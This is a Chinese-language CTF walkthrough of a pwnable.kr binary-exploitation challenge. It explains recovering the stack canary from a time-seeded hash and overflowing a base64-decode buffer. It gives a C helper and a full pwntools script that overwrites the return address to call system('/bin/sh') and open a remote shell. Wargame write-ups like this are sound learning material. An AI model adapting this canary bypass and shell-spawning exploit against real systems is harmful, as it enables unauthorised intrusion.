首先看一下开了什么保护
使用IDA 反汇编
首先程序设置了时间为随机数种子,然后调用了my_hash函数,输出函数的返回值,接着让我们输入my_hash函数的返回值,输入正确才能继续运行程序,进入my_hash函数
首先程序读取了canary的值,并把它赋值给了v10,然后又通过v10变量计算了函数的返回值,在这里除了v10,其他的变量都可以通过时间相同的随机数计算出来(hint中提示服务端的时间相同),而我们又知道了计算的结果,就可以反向计算出canary的值,绕过canary保护
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char **argv)
{
int m = atoi(argv[2]);
int rands[8];
int i;
srand(atoi(argv[1]));
for (i = 0; i < 8; i++)
{
rands[i] = rand();
}
m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
printf("%x\n", m);
return 0;
}
接着向下看,进入process_hash函数
程序首先读取用户输入的1024字节的数据,然后进行base64Decode,存放到512字节的空间中,但是由于1024字节的数据base64解密之后最大得到的是768字节的数据,造成溢出,而我们又知道canary的值所以可以利用
可以看到input_Decode的起始地址是ebp-0x20C,input_Decode的大小还是0x200,所以ebp上面有12字节的数据,程序是32位的,所以canary只有四字节,因此填充了0x200字节的数据之后,还要发送0x4字节的canary,然后是12字节的填充数据(ebp),接着就是返回地址了
这里由于程序中存在call_system,所以直接跳转到call_system的地址的位置。返回地址的位置填充的是call_system的地址,然后是system函数参数的地址,接着把'/bin/sh\00'传输到程序中。
from pwn import *
import os
import time
p = remote("pwnable.kr",9002)
p.recvuntil(" : ")
captcha = p.recvline().strip()
t = int(time.time())
cookie = int("0x" + os.popen("./1 %s %s" % (t,captcha)).read().strip(),16)
p.sendline(captcha)
p.recvuntil("me!\n")
call_system_addr = 0x08049187
buf_addr = 0x0804B0E0
payload = "a" * 0x200
payload += p32(cookie)
payload += 'b'* 12
payload += p32(call_system_addr)
payload += p32(buf_addr + 537*4/3) #/bin/sh字符串地址的计算的时候由于前面的填充都需要进行base64加密,所以计算地址的时候需要 *4/3
payload = b64e(payload)
payload += "/bin/sh\x00" #由于input变量处于bss段,并且system函数需要的不是base64编码的参数,所以这里不进行编码
p.sendline(payload)
p.interactive()